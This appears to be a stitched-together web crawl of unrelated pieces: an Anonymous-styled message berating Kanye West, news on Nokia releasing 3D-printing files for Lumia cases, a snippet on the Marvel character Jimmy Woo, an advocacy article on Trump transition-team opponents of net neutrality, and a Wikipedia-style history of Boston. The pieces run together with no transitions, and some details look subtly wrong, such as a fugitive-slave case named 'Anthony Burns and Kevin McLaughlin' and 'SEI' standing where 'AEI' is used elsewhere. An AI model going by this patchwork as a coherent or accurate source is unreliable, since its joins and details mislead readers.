A direct message to our brother, Mr. West, to teach him a lesson on humility, and responsibility, over his out of control, hypocritical, and impulsive actions. Anonymous is sounding off the new Renaissance era this year for humanity, and "we aint finna play with them nooooo more! Because at this point, we're tired of it!" And you need to respect real artistry and allow other artists other than Beyonce to be celebrated for their achievements. "Because, what happens is, when you keep diminishing art, and not respecting the craft, and smacking other artists in the face, you're disrespectful to inspiration." You owe Beck, Taylor Swift, your fans, and the many people you've hurt and disappointed over the years an apology, Mr. West. Our tolerance with your arrogant and distasteful behavior to gain attention online has reached its end. We will be watching you.
We are Anonymous
We are Legion
We do not forgive
We do not forget
You should've expected us!
In other Kanye news, Revolt TV has obtained some behind the scenes video of the Kanye West creating "All Day." Last week, Kanye debuted the video at his show held at Fondation Louis Vuitton Gallery in Paris . Watch the preview below.
Related: Kanye West Did Not Have His Laptop Stolen in Paris
A-Trak Says He Introduced Kanye West to Daft Punk
Kanye West and Kim Kardashian’s Best PDA Moments
Nokia is releasing design files that will let owners use 3D printers to make their own cases for its Lumia phones
Files containing mechanical drawings, case measurements and recommended materials have already been released by the phone maker.
Those using the files will be able to create a custom-designed case for the flagship Lumia 820 handset.
The project makes Nokia one of the first big electronics firms to seriously back 3D printing.
In a blogpost, John Kneeland, one of Nokia's community managers, revealed the Finnish phone maker's decision to release the 3D drawings.
Printing in 3D involves sending a design file to a printer that then forms a solid version of that object by slowly building it up in layers of plastic. Early 3D printers could only work in one colour but the latest versions can produce intricate, multicoloured objects.
Industrial sequel
Mr Kneeland said Nokia was releasing what he called a "3D printing development kit" to help people produce the cases. The files are already available on the site Nokia maintains for its developers.
He said 3D printing was another way that the firm wanted to build links to that vast community of software and hardware engineers. To get the files, users must have registered with Nokia.
He said Nokia already used 3D printing internally to do rapid prototyping, but decided to back it more publicly to help the nascent technology realise its "incredible potential".
In the future, he said, 3D printing was likely to bring about phones that were "wildly more modular and customisable".
Nokia might just end up selling a phone template, he said, allowing entrepreneurs to use that to produce handsets that satisfy the particular needs of their locale.
"You want a waterproof, glow-in-the-dark phone with a bottle-opener and a solar charger? Someone can build it for you - or you can print it yourself," he wrote.
He added that, in his view, 3D printing was a technology that justified its hype and said it was "the sequel to the Industrial Revolution".
Woo’s comic book version actually predates Marvel itself; he originated in Atlas Comic’s 1956 release Yellow Claw #1, in which he faced off against the titular bad guy, a “Yellow Peril” villain in the old Fu-Manchu mold. The character has popped up periodically in the Marvel universe ever since, most notably in Jeff Parker’s critically acclaimed Agents Of Atlas run from the mid-2000s.
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Trump took a swipe at net neutrality in a November 2014 tweet, stating, “Obama’s Attack on the Internet is another top down power grab. Net neutrality is the Fairness Doctrine. Will target Conservative Media.”
The Republican Party platform [PDF] was also critical of net neutrality, and Trump’s transition team is stocked with staunch opponents to net neutrality.
Several key members of Trump’s transition team belong to a block of Republicans in Congress that have long sought to undermine net neutrality. Vice-President-elect Pence, the chair of Trump’s transition team, co-sponsored a 2011 bill that would have stripped the FCC of authority to govern Internet access services, as it did in the Open Internet Order. That bill, the Internet Freedom Act, was sponsored by Rep. Marsha Blackburn, and co-sponsored by Rep. Cathy McMorris Rodgers, Rep. Tom Reed, and Rep. Cynthia Lummis, all vice-chairs on Trump’s transition team. Pence (along with vice-chair Rep. Marsha Blackburn, and other members of the transition team) also voted against net neutrality as early as 2006.
Vice-chair Rep. Marsha Blackburn has routinely introduced bills that attempt to block effective net neutrality from every angle. In 2011, she sponsored the Internet Freedom Act, discussed above. She re-introduced it in 2014—this time, the bill would have prohibited the FCC’s proposed net neutrality rules from coming into effect and kept the agency from re-issuing such rules in the future, unless explicitly authorized by Congress. That bill was re-introduced again in 2015, this time seeking to nullify the FCC’s Open Internet Order and prevent the agency from re-issuing them, unless authorized by Congress. In 2016, Rep. Blackburn sponsored an amendment to the annual budget authorization that would prohibit the use of federal funds to implement any of the FCC's proposed broadband privacy rules. Rep. Blackburn also co-sponsored bills aimed at altering the process through which the FCC can pass rules like the Open Internet order, and further limiting the FCC’s ability to do so.
Rep. Blackburn also co-sponsored two resolutions, one in 2010 and one in 2011 (both with Rep. Cathy McMorris Rodgers, vice-chair) challenging the FCC’s authority to implement an earlier version of net neutrality. The 2011 resolution was also co-sponsored by Rep. Nunes another vice-chair, and VP-elect Pence, and passed the U.S. House of Representatives, but died in the Senate. This year, Rep. Blackburn co-sponsored H.R. 2666, the No Rate Regulation of Broadband Internet Access Act, a bill with the potential to undermine net neutrality.
Rep. Blackburn has been highly critical of net neutrality in her public statements. In 2016, in support of a Senate bill attacking net neutrality, Blackburn stated, “[w]e must stop the FCC’s Net Neutrality rules, which are nothing more than a Trojan horse for government takeover of the Internet. These overreaching rules will stifle innovation, restrict freedoms, and lead to billions of dollars in new fees and taxes for American consumers.” And in 2014, Rep. Blackburn issued a statement insisting that Congress, not the FCC, should decide when to “regulate the Internet,” and called the proposal a “net loser[] that need[s] to be retired once and for all.” Rep. Blackburn responded similarly to the much more limited 2010 Open Internet rules, stating “[t]he FCC is building an Iron Curtain that will restrict more of our freedom.” This followed her earlier comment that the FCC had taken a “vampiric leap from its traditional jurisdiction.”
Rep. Blackburn hasn’t limited her assault on the open Internet to net neutrality: she was also an initial co-sponsor for the Stop Online Piracy Act (SOPA), a disastrous bill that would have allowed for blocking of "blacklisted" websites. Fortunately, the public rose up to protect the Internet back then, too.
Several members of the transition team’s executive committee also oppose net neutrality. Rep. Tom Marino disagreed with the commission’s Open Internet rules and called the decision a “slippery slope which ultimately endangers our liberty… regulating the internet is just another way this Administration uses the bureaucracy to allow and condone more regulation and government control.” Rep. Chris Collins also opposed the decision, saying “[t]he FCC’s actions threaten the innovative culture that makes the Internet one of the world’s greatest technologies.” He called the decision “a direct threat to Internet freedom” and a “foreshadowing of the big government overregulation that will stem from Title II classification.” And Rep. Devin Nunes also objected to the rules.
Rep. Dennis Ross, and Rep. Ryan Zinke, Trump's pick for Interior Secretary, co-sponsored a resolution disapproving the FCC’s Open Internet rules. Sen. Jeff Sessions, vice-chair of the transition team and Trump’s pick for Attorney General, co-sponsored a senate resolution along the same lines with regard to the 2010 rules.
When the Open Internet Order was challenged in court, both Rep. Blackburn and Rep. Zinke joined a group of House Republicans in an amicus curiae brief to the Court of Appeals for the D.C. Circuit. The brief argued that the FCC lacked the authority to classify Internet service providers as common carriers under Title II.
Trump’s advisor Peter Thiel has likewise been outwardly critical of net neutrality, saying in a Reddit AMA that net neutrality “hasn’t been necessary so far, and I’m not sure anything has changed to make it necessary right now. And I don’t like government regulation.”
It is not yet clear who will be replacing Chairman Wheeler next year, or who will fill seats vacated by democratic commissioners Jessica Rosenworcel and Mignon Clyburn (when her term ends, or if she decides to leave sooner). Trump has tapped Jeffrey Eisenach, Roslyn Layton and Mark Jamison, three highly vocal opponents of net neutrality, to lead the transition team’s work at the agency -- suggesting they may be candidates for the post. Eisenach, Layton, and Jamison have all been prolific in their opposition to the FCC's net neutrality rules, and the following merely provide a sample of their comments.
Eisenach, a fellow at the American Enterprise Institute (AEI) and former consultant for Verizon and the trade association GSMA has argued that “net neutrality is not about protecting consumers from rapacious Internet Service Providers (ISPs)… And it has nothing to do with protecting free speech or dissenting voices. Net neutrality is crony capitalism pure and simple—an effort by one group of private interests to enrich itself at the expense of another group by using the power of the state.” Eisenach has also called net neutrality a “government mandated rip-off,” and a threat to global Internet freedom. In a recent op-ed in the New York Times, Eisenach argued “[d]eclaring the Internet a public utility is not necessary, and it will surely prove to be unwise.” He’s also described it as “a political circus” and “Wheeler’s Vietnam.”
In 2014, Eisenach testified [PDF] in Congress and asserted that net neutrality “cannot be justified on grounds of enhancing consumer welfare or protecting the public interest. Rather, it is best understood as an effort by one set of private interests to enrich itself by using the power of the state to obtain free services from another—a classic example of what economists term 'rent seeking.'"
Mark Jamison, a visiting fellow at the SEI and former lobbyist for Sprint, has also been highly critical of the FCC’s approach to net neutrality. In an op-ed, Jamison criticized net neutrality as “bestowing benefits to some segments of the industry at the expense of other segments, and at the expense of customers, who ultimately bear the brunt of regulatory rent-seeking.” He also called for dramatically scaling back the FCC’s duties. He’s called the FCC’s decision “inconsistent with a stable, evidence-based regulatory approach” and questioned the agency’s authority. Jamison has, however, supported a multi-stakeholder best practices approach to net neutrality, or failing that, explicitly Congressionally authorized regulation under limited conditions.
Roslyn Layton, also an AEI fellow, co-authored a report [PDF] with Jamison, arguing that net neutrality “is failing.” Layton also rejects the idea that government regulation is needed to protect net neutrality.
When Trump’s administration takes office, the administration will soon be able to appoint three members of the Federal Communications Commission, including a new Chairman. Existing Republican commissioners Ajit Pai and Michael O’Reilly have criticized the commission’s net neutrality decision, and dissented [PDF] from [PDF] the Commission’s Open Internet Order. Either one could also be nominated for the Chairman’s position.
Commissioner Pai, in a recent speech [PDF], predicted that the Open Internet Order’s “days are numbered” and hoped for “a more sober” regulatory approach under the new Administration. In a speech given at the same event, Commissioner O’Reilly expressed [PDF] a desire to "undo harmful policies" and advised that "[n]ext year’s Commission should consider acting quickly to reverse any damaging policies put into place over the last eight years and in the last few weeks of this Administration.”
Whoever Trump picks to lead the FCC in the next administration, there’s ample reason to believe that net neutrality will be under threat.
The history of Boston plays a central role in American history. In 1630, Puritan colonists from England founded Boston and helped it become the way it is today. Boston quickly became the political, commercial, financial, religious and educational center of the New England region. The American Revolution erupted in Boston, as the British retaliated harshly for the Boston Tea Party and the patriots fought back. They besieged the British in the city, with a famous battle at Breed's Hill in Charlestown on June 17, 1775 (which was lost by the colonists, but inflicted great damage against the British) and won the Siege of Boston, forcing the British to evacuate the city on March 17, 1776. However, the combination of American and British blockades of the town and port during the conflict seriously damaged the economy, and the population fell by two thirds in the 1770s.
The city recovered after 1800, re-establishing its role as the transportation hub for the New England region with its network of railroads, and even more important, the intellectual, educational and medical center of the nation. Along with New York, Boston was the financial center of the United States in the 19th century, and was especially important in funding railroads nationwide. In the Civil War era, it was the base for many anti-slavery activities. In the 19th century the city was dominated by an elite known as the Boston Brahmins. They faced the political challenge coming from Catholic immigrants. The Irish Catholics, typified by the Kennedy Family, took political control of the city by 1900.
The industrial foundation of the region, financed by Boston, reached its peak around 1950; thereafter thousands of textile mills and other factories were closed down and the city went into decline. By the 21st century the city's economy had recovered and was centered on education, medicine, and high technology—notably biotechnology, while the many surrounding towns became residential suburbs.
Prehistoric era [ edit ]
The Shawmut Peninsula was originally connected to the mainland to its south by a narrow isthmus, Boston Neck, and surrounded by Boston Harbor and the Back Bay, an estuary of the Charles River. Several prehistoric Native American archaeological sites, including the Boylston Street Fishweir, excavated during construction of buildings and subways in the city, have shown that the peninsula was inhabited as early as 7,500 years Before Present.[1]
Founding [ edit ]
In 1629, the Cambridge Agreement was signed in England among the Puritans of the Massachusetts Bay Colony. The agreement established the colony as a self-governing entity, answerable only to the king. John Winthrop was its leader, and would become governor of the settlement in the New World. In a famous sermon, "A Model of Christian Charity," Winthrop described the new colony as "a City upon a Hill."
The competing Plymouth Colony, founded in 1620, merged with the Massachusetts Bay Colony in 1691.
In June 1630, the Winthrop Fleet arrived in what would later be called Salem,[2] which on account of lack of food, "pleased them not."[3] They proceeded to Charlestown, which pleased them less, for lack of fresh water. The Puritans settled around the spring in what would become Boston,[3] acquiring the land from the first English settler, William Blaxton[4] and Chickatawbut, the Native American sachem[5]
Trimountaine was the name given by the 1630 settlers to the peninsula that would later be incorporated as the City of Boston.[4] The name was derived from a set of three prominent hills on the peninsula, two of which were leveled as the city was modernized.[6] The middle one, Beacon Hill, shortened between 1807 and 1824, remains to this day as a prominent feature of the Boston cityscape.[7] Tremont Street still carries an alternative form of the original name.[8] The two smaller peaks were Cotton Hill (named after John Cotton, but later Pemberton Hill, at what is now Pemberton Square) and Mt. Whoredom (or Mt. Vernon, formerly at the location of the modern-day Louisburg Square).[9]
Governor Winthrop announced the foundation of the town of Boston on September 7, 1630 (Old Style),[10][11] with the place named after the town of Boston, in the English county of Lincolnshire, from which several prominent colonists emigrated. The name also derives from Saint Botolph, who is the patron saint of travelers.[12][13]
Colonial era [ edit ]
Early colonists believed that Boston was a community with a special covenant with God, as captured in Winthrop's "City upon a Hill" metaphor. This influenced every facet of Boston life, and made it imperative that colonists legislate morality as well as enforce marriage, church attendance, education in the Word of God, and the persecution of sinners. One of the first schools in America, Boston Latin School (1635), and the first college in America, Harvard College (1636), were founded shortly after Boston's European settlement.
A South-East View of the City of Boston in North America, printed at , printed at London , c. 1730
Town officials in colonial Boston were chosen annually; positions[14] included selectman, assay master, culler of staves, fence viewer, hayward, hogreeve,[15] measurer of boards, pounder,[16] sealer of leather, tithingman, viewer of bricks, water bailiff, and woodcorder.[17]
Boston's Puritans looked askance at unorthodox religious ideas, and exiled or punished dissenters. During the Antinomian Controversy of 1636 to 1638 religious dissident leader Anne Hutchinson and Puritan clergyman John Wheelwright were both banished from the colony.[18] Baptist minister Obadiah Holmes was imprisoned and publicly whipped in 1651 because of his religion and Henry Dunster, the first president of Harvard College during the 1640s–50s, was persecuted for espousing Baptist beliefs. By 1679, Boston Baptists were bold enough to open their own meetinghouse, which was promptly closed by colonial authorities. Expansion and innovation in practice and worship characterized the early Baptists despite the restrictions on their religious liberty.[19] On June 1, 1660, Mary Dyer was hanged on Boston Common for repeatedly defying a law banning Quakers from being in the colony.
The Boston Post Road connected the city to New York and the major settlements in Central and Western Massachusetts. The lower route ran near present-day U.S. 1 via Providence, Rhode Island. The upper route, laid out in 1673, left via Boston Neck and followed present-day U.S. Route 20 until around Shrewsbury, Massachusetts. It continued through Worcester, Springfield, and New Haven, Connecticut.
Bunker Hill Monument
From 1686 until 1689, Massachusetts and surrounding colonies were united. This larger province, known as the Dominion of New England, was governed by Sir Edmund Andros, an appointee of King James II. Andros, who supported the Church of England in a largely Puritan city, grew increasingly unpopular. On April 18, 1689, he was overthrown due to a brief revolt. The Dominion was not reestablished.
Disasters in the 1700s [ edit ]
A particularly virulent sequence of six smallpox outbreaks took place from 1636 to 1698. In 1721–22, the most severe epidemic occurred, killing 844 people. Out of a population of 10,500, 5889 caught the disease, 844 (14%) died, and at least 900 fled the city, thereby spreading the virus.[20] Colonists tried to prevent the spread of smallpox by isolation. For the first time in America, inoculation was tried; it causes a mild form of the disease. Inoculation was itself very controversial because of the threat that the procedure itself could be fatal to 2% of those who were treated, or otherwise spread the disease. It was introduced by Zabdiel Boylston and Cotton Mather.[21]
In 1755, Boston endured the largest earthquake ever to hit the Northeastern United States, (estimated at 6.0 to 6.3 on the Richter magnitude scale), called the Cape Ann earthquake. There was some damage to buildings, but no deaths.[22][23]
The first "Great Fire" of Boston destroyed 349 buildings on March 20, 1760. It was one of many significant fires fought by the Boston Fire Department.
Boston and the American Revolution, 1765–1775 [ edit ]
A map showing the British Army's tactical evaluation of Boston in 1775.
Boston had taken an active role in the protests against the Stamp Act of 1765. Its merchants avoided the customs duties which angered London officials and led to a crackdown on smuggling. Governor Thomas Pownall (1757 to 1760) tried to be conciliatory, but his replacement Governor Francis Bernard (1760–69) was a hard-liner who wanted to stamp out the opposition voices that were growing louder and louder in town meetings and pamphlets. Historian Pauline Maier says that his letters to London greatly influenced officials there, but they "distorted" reality. "His misguided conviction that the 'faction' had espoused violence as its primary method of opposition, for example, kept him from recognizing the radicals' peace-keeping efforts....Equally dangerous, Bernard's elaborate accounts were sometimes built on insubstantial evidence."[24] Warden argues that Bernard was careful not to explicitly ask London for troops, but his exaggerated accounts strongly suggested they were needed. In the fall of 1767 he warned about a possible insurrection in Boston any day, and his exaggerated report of one disturbance in 1768, "certainly had given Lord Hillsboro the impression that troops were the only way to enforce obedience in the town." Warden notes that other key British officials in Boston wrote London with the "same strain of hysteria."[25] Four thousand British Army troops arrived in Boston in October 1768 as a massive show of force; tensions escalated.
By the late 1760s Americans focused on their rights as Englishmen, especially the principle of "No Taxation without Representation," as articulated by John Rowe, James Otis, Samuel Adams and other Boston firebrands. Boston played the primary role in sparking both the American Revolution and the ensuing American Revolutionary War. The Boston Massacre came on March 5, 1770, when British soldiers fired into unarmed demonstrators outside the British custom house, resulting in the deaths of five civilians and dramatically escalating tensions.[26] Parliament, meanwhile, insisted on its right to tax the Americans and finally came up with a small tax on tea. Up and down the 13 colonies, Americans prevented merchants from selling the tea, but a shipment arrived in Boston Harbor. On December 16, 1773, 30–60 local Sons of Liberty, disguised as Native Americans, dumped 342 chests of tea in the harbor in the Boston Tea Party.[27] The Sons of Liberty decided to take action in order to defy Britain's new tax on tea, but the British government retaliated with a series of harsh laws, closing down the Port of Boston and stripping Massachusetts of its self-government.[28] The other colonies rallied in solidarity behind Massachusetts, setting up the First Continental Congress, while arming and training militia units. The British sent more troops to Boston, and made its commander General Thomas Gage the governor. Gage believed the Patriots were hiding munitions in the town of Concord, and he sent troops to capture them. Paul Revere, William Dawes, and Dr. Samuel Prescott made their famous midnight rides to alert the Minutemen in the surrounding towns, who fought the resulting Battle of Lexington and Concord in April 1775. It was the first battle of the American Revolution.
Militia units across New England rallied to the defense of Boston, and Congress sent in General George Washington to take command. The British were trapped in the city, and suffered very heavy losses in their victory at the Battle of Bunker Hill. Washington brought in artillery and forced the British out as the patriots took full control of Boston. The American victory on March 17, 1776, is celebrated as Evacuation Day. The city has preserved and celebrated its revolutionary past, from the harboring of the USS Constitution to the many famous sites along the Freedom Trail.
19th century [ edit ]
Economic and population growth [ edit ]
Boston was transformed from a relatively small and economically stagnant town in 1780 to a bustling seaport and cosmopolitan center with a large and highly mobile population by 1800. It had become one of the world's wealthiest international trading ports, exporting products like rum, fish, salt and tobacco.[41] The upheaval of the American Revolution, and the British naval blockade that shut down its economy, had caused a majority of the population to flee the city. From a base of 10,000 in 1780, the population approached 25,000 by 1800. The abolition of slavery in the state in 1783 gave blacks greater physical mobility, but their social mobility was slow.[42]
Boston was part of the New England corner of triangular trade, receiving sugar from the Caribbean and refining it into rum and molasses, partly for export to Europe. Later, confectionery manufacturing would become another refined product made from similar raw materials. Related companies with facilities in Boston included the Boston Sugar Refinery (inventors of granulated sugar), Domino Sugar, the Purity Distilling Company, Necco, Schrafft's, Squirrel Brands (as the predecessor Austin T. Merrill Company of Roxbury[43]) American Nut and Chocolate (1927)[44] This legacy continued into the 20th century; by 1950, there were 140 candy companies in Boston.[44] (Others were located in and some moved to nearby Cambridge.) The Boston Fruit Company began importing tropical fruit from the Caribbean in 1885; it is a predecessor of United Fruit Company and Chiquita Brands International.
Boston had the status of a town; it was chartered as a city in 1822.[45] The second mayor was Josiah Quincy III, who undertook infrastructure improvements in roads and sewers, and organized the city's dock area around the newly erected Faneuil Hall Marketplace, popularly known as Quincy Market. By the mid-19th century Boston was one of the largest manufacturing centers in the nation, noted for its garment production, leather goods, and machinery industries. Manufacturing overtook international trade to dominate the local economy. A network of small rivers bordering the city and connecting it to the surrounding region made for easy shipment of goods and allowed for a proliferation of mills and factories. The building of the Middlesex Canal extended this small river network to the larger Merrimack River and its mills, including the Lowell mills and mills on the Nashua River in New Hampshire. By the 1850s, an even denser network of railroads (see also List of railroad lines in Massachusetts) facilitated the region's industry and commerce. For example, in 1851, Eben Jordan and Benjamin L. Marsh opened the Jordan Marsh Department store in downtown Boston. Thirty years later William Filene opened his own department store across the street, called Filene's.
Several turnpikes were constructed between cities to aid transportation, especially of cattle and sheep to markets. A major east-west route, the Worcester Turnpike (now Massachusetts Route 9), was constructed in 1810. Others included the Newburyport Turnpike (now Route 1) and the Salem Lawrence Turnpike (now Route 114).
Brahmin elite [ edit ]
Boston's "Brahmin elite" developed a particular semi-aristocratic value system by the 1840s—cultivated, urbane, and dignified, the ideal Brahmin was the very essence of enlightened aristocracy.[46][47] He was not only wealthy, but displayed suitable personal virtues and character traits. The term was coined in 1861 by Dr. Oliver Wendell Holmes, Sr.[48] The Brahmin had high expectations to meet: to cultivate the arts, support charities such as hospitals and colleges, and assume the role of community leader. Although the ideal called on him to transcend commonplace business values, in practice many found the thrill of economic success quite attractive. The Brahmins warned each other against "avarice" and insisted upon "personal responsibility." Scandal and divorce were unacceptable. The total system was buttressed by the strong extended family ties present in Boston society. Young men attended the same prep schools and colleges,[49] and had their own way of talking. Heirs married heiresses. Family not only served as an economic asset, but also as a means of moral restraint. Most belonged to the Unitarian or Episcopal churches, although some were Congregationalists or Methodists. Politically, they were successively Federalists, Whigs, and Republicans.
A poem about Boston, attributed to various people, describes the city thus: "And here's to good old Boston / The land of the bean and the cod / Where Lowells talk only to Cabots / and Cabots talk only to God." While wealthy colonial families like the Lowells and Cabots (often called the Boston Brahmins) ruled the city, the 1840s brought waves of new immigrants from Europe. These included large numbers of Irish and Italians, giving the city a large Roman Catholic population.
Abolitionists [ edit ]
In 1831, William Lloyd Garrison founded The Liberator, an abolitionist newsletter, in Boston. It advocated "immediate and complete emancipation of all slaves" in the United States, and established Boston as the center of the abolitionist movement. After the passing of the Fugitive Slave Law of 1850, Boston became a bastion of abolitionist thought. Attempts by slave-catchers to arrest fugitive slaves often proved futile, which included the notable case of Anthony Burns and Kevin McLaughlin. After the passage of the Kansas–Nebraska Act in 1854, Boston also became the hub of efforts to send anti-slavery New Englanders to settle in Kansas Territory through the Massachusetts Emigrant Aid Company.
Irish [ edit ]
This aerial photo of Boston was taken October 13, 1860 and is the second aerial photo after one of Paris.
The earliest Irish settlers began arriving in the early 18th century. Initially they were indentured servants who came to work in Boston and New England for five to seven years, before gaining their independence. They were mainly individuals and families, and they were forced to hide their religious roots since Catholicism was banned in the Bay Colony. Then in 1718, congregations of Presbyterians from Ulster in the north of Ireland began arriving in Boston Harbor. They were referred to as Ulster Irish but later were referred to as Scots-Irish because many of them had roots in Scotland. The Puritan leaders initially sent the Ulster Irish to the fringes of the Bay Colony, where they settled places like Belfast, Maine, Londonderry and Derry, New Hampshire, and Worcester, Massachusetts. But by 1729 they were permitted to set up a church in downtown Boston.[50]
Throughout the 19th century, Boston became a haven for Irish Catholic immigrants, especially following the potato famine of 1845–49. Their arrival transformed Boston from a singular, Anglo-Saxon, Protestant city to one that has progressively become more diverse. The Yankees hired Irish as workers and servants, but there was little social interaction. In the 1850s, an anti-Catholic, anti-immigrant movement was directed against the Irish, called the Know Nothing Party. But in the 1860s, many Irish immigrants joined the Union ranks to fight in the American Civil War, and that display of patriotism and valor began to soften the harsh sentiments of Yankees about the Irish.[51]
Even to the present day, Boston still commands the largest percentage of Irish-descended people of any city in the United States. With an expanding population, group loyalty, and block by block political organization, the Irish took political control of the city, leaving the Yankees in charge of finance, business and higher education. The Irish left their mark on the region in a number of ways: in still heavily Irish neighborhoods such as Charlestown and South Boston; in the name of the local basketball team, the Boston Celtics; in the dominant Irish-American political family, the Kennedys; in a large number of prominent local politicians, such as James Michael Curley; in the establishment of Catholic Boston College as a rival to Harvard; and in underworld figures such as James "Whitey" Bulger.[52]
Great Fire of 1872 [ edit ]
The Great Boston Fire of 1872 started at the corner of Summer Street and Kingston Street on November 9. In two days the conflagration destroyed about 65 acres (260,000 m²) of the city, including 776 buildings in the financial district, totaling $60 million in damage.
Scollay Square, Boston, in the 1880s.
Map showing all ground in Boston occupied by buildings in 1880. From U.S. Census Bureau
High culture [ edit ]
From the mid-to-late-19th century, the Boston Brahmins flourished culturally—they became renowned for its rarefied literary culture and lavish artistic patronage. Literary residents included, among many others, writers Nathaniel Hawthorne, Henry Wadsworth Longfellow, Oliver Wendell Holmes, Sr., James Russell Lowell, and Julia Ward Howe, as well as historians John Lothrop Motley, John Gorham Palfrey, George Bancroft, William Hickling Prescott, Francis Parkman, Henry Adams, James Ford Rhodes, Edward Channing and Samuel Eliot Morison. Also there were theologians and philosophers such as William Ellery Channing, Ralph Waldo Emerson and Mary Baker Eddy. When Bret Harte visited Howells, he remarked that in Boston "it was impossible to fire a revolver without bringing down the author of a two-volume work." Boston had many great publishers and magazines, such as The Atlantic Monthly (founded 1857) and the publishers Little, Brown and Company, Houghton Mifflin, and Harvard University Press.[53]
Higher education became increasingly important, principally at Harvard (based across the river in Cambridge), but also at other institutions. The Massachusetts Institute of Technology (MIT) opened in the city in 1865. The first medical school for women, The Boston Female Medical School (which later merged with the Boston University School of Medicine), opened in Boston on November 1, 1848. The Jesuits opened Boston College in 1863; Emerson College opened in 1880, and Simmons College for women in 1899.
The Brahmins were the foremost authors and audiences of high culture, despite being a minority. Emerging Irish, Jewish, and Italian cultures made little to no impact on the elite.[54]
To please a different audience, the first vaudeville theater opened on February 28, 1883, in Boston. The last one, the Old Howard in Scollay Square, which had evolved from opera to vaudeville to burlesque, closed in 1953.
The public Boston Museum of Natural History (founded in 1830 and renamed the New England Museum of Natural History in 1864, and the Boston Museum of Science in the mid-twentieth century), was run by the Boston Society of Natural History. It served the function of public and professional education in natural history, including ocean life, geology and mineralogy. Around the end of the 19th century a scientific library and children's rooms were added. In addition, the private Warren Museum of Natural History at Boston operated 1858–1906. It was acquired by the American Museum of Natural History in New York City in 1906.[55]
Transportation [ edit ]
As the population increased rapidly, Boston-area streetcar lines facilitated the creation of a profusion of streetcar suburbs. Middle-class businessmen, office workers and professionals lived in the suburbs and commuted into the city by subway.[56] Downtown congestion worsened, prompting the opening of the first subway in North America on September 1, 1897, the Tremont Street Subway. Between 1897 and 1912, subterranean rail links were built to Cambridge and East Boston, and elevated and underground lines expanded into other neighborhoods from downtown. Today, the regional passenger rail and bus network has been consolidated into the Massachusetts Bay Transportation Authority. Two union stations, North Station and South Station were constructed to consolidate downtown railroad terminals.
Censorship [ edit ]
From the late 19th century until the mid-20th century, the phrase "Banned in Boston" was used to describe a literary work, motion picture, or play prohibited from distribution or exhibition. During this time, Boston city officials took it upon themselves to "ban" anything that they found to be salacious, immoral, or offensive: theatrical shows were run out of town, books confiscated, and motion pictures were prevented from being shown—sometimes stopped in mid-showing after an official had "seen enough". The phrase "banned in Boston" came to suggest something sexy and lurid; some distributors advertised that their products had been banned in Boston, when in fact they had not.
20th century [ edit ]
Early decades [ edit ]
In 1900, Julia Harrington Duff (1850–1932) became the first woman from the Irish Catholic community to be elected to the Boston School Committee. Extending her role as teacher and mother she became an ethnic spokesperson as she confronted the power of the Yankee Protestant men of the Public School Association. She worked to replace 37-year-old textbooks, to protect the claims of local Boston women for career opportunities in the school system, and to propose a degree-granting teachers college. In 1905, the 25 member committee was reduced to five, which blocked women's opportunities for direct participation in school policies.[57]
Around the start of the 20th century, caught up in the automobile revolution, Boston was home to the Porter Motor Company,[58] headquartered in the Tremont Building, 73 Tremont Street.[59]
On January 15, 1919, the Great Molasses Flood occurred in the North End. Twenty-one people were killed and 150 injured as an immense wave of molasses, which rushed through the streets at an estimated 35 miles per hour (56 km/h), crushed and asphyxiated many of the victims to death. It took over six months to remove the molasses from the cobblestone streets, theaters, businesses, automobiles, and homes. Boston Harbor ran brown until summer.[60]
During the summer of 1919, over 1,100 members of the Boston Police Department went on strike. Boston fell prey to several riots as there were minimal law officers to maintain order in the city. Calvin Coolidge, then governor of Massachusetts, garnered national fame for quelling violence by almost entirely replacing the police force. The 1919 Boston Police Strike would ultimately set precedent for police unionization across the country.
On August 23, 1927, Italian anarchists Nicola Sacco and Bartolomeo Vanzetti were sent to the electric chair after a seven-year trial in Boston. Their execution sparked riots in London, Paris and Germany, and helped to reinforce the image of Boston as a hotbed of intolerance and discipline.
Mid-century transportation and urban renewal [ edit ]
1955 Yellow Book plan for the Boston-area highway system.
The I-695 Inner Belt shown on this map was never built. I-95 is shown here approaching the urban core from the southwest, but it was never built beyond the outer loop shown on this map (which was built as Route 128 and which I-95 was later re-routed over).
In 1934, the Sumner Tunnel created the first direct road connection under Boston Harbor, between the North End and East Boston.
In May 1938, the first public housing project, Old Harbor Village was opened in South Boston.[61]
By 1950, Boston was slumping. Few major buildings were being built anywhere in the city. Factories were closing and moving their operations south, where labor was cheaper. The assets Boston had—excellent banks, hospitals, universities and technical know-how—were minimal parts of the U.S. economy. To combat this downturn, Boston's politicians enacted urban renewal policies, which resulted in the demolition of several neighborhoods, including the New York Streets district in the South End, the old West End, a largely Jewish and Italian neighborhood, and Scollay Square. In their places went a new headquarters for the Boston Herald, the Charles River Park apartment complex, additions to Massachusetts General Hospital, and Government Center. These projects displaced thousands, closed hundreds of businesses, and provoked a furious backlash, which in turn ensured the survival of many historic neighborhoods.
In 1948, William F. Callahan had published the Master Highway Plan for Metropolitan Boston. Parts of the financial district, Chinatown, and the North End were demolished to make way for construction. By 1956, the northern part of the Central Artery had been constructed, but strong local opposition resulted in the southern downtown portion being built underground. The Dewey Square Tunnel connected downtown to the Southeast Expressway. In 1961, the Callahan Tunnel opened, paralleling the older Sumner Tunnel.
By 1965, the first Massachusetts Turnpike Extension was completed from Route 128 to near South Station. The proposed Inner Belt in Boston, Cambridge, Brookline, and Somerville was canceled due to public outcry. In 1971, public protest canceled the routing of I-95 into downtown Boston. Demolition had already begun along the Southwest Corridor, which was instead used to re-route the Orange Line and Amtrak's Northeast Corridor.
World War II and later [ edit ]
On November 28, 1942, Boston's Cocoanut Grove nightclub was the site of the Cocoanut Grove fire, the deadliest nightclub fire in United States history, killing 492 people and injuring hundreds more.
During the war years, antisemitic violence escalated in Boston. Gangs largely composed of Irish Catholic youths desecrated Jewish cemeteries and synagogues, vandalized Jewish stores and homes, and physically assaulted Jews in the streets. The Boston police force, which was made up largely of Irish Catholics, seldom intervened.[62]
In 1950, the Great Brink's Robbery was committed; at the time it was the largest bank robbery in the United States, with the thieves stealing $2.775 million.
In 1953, the Columbia Point public housing projects were completed on the Dorchester peninsula. There were 1,502 units in the development on 50 acres (200,000 m2) of land. In 1966, the Columbia Point Health Center opened and was the first community health center in the country.
Between June 14, 1962, and January 4, 1964, as many as thirteen single women between the ages of 19 and 85 were murdered in Boston by the infamous Boston Strangler. (The actual number remains in dispute.)
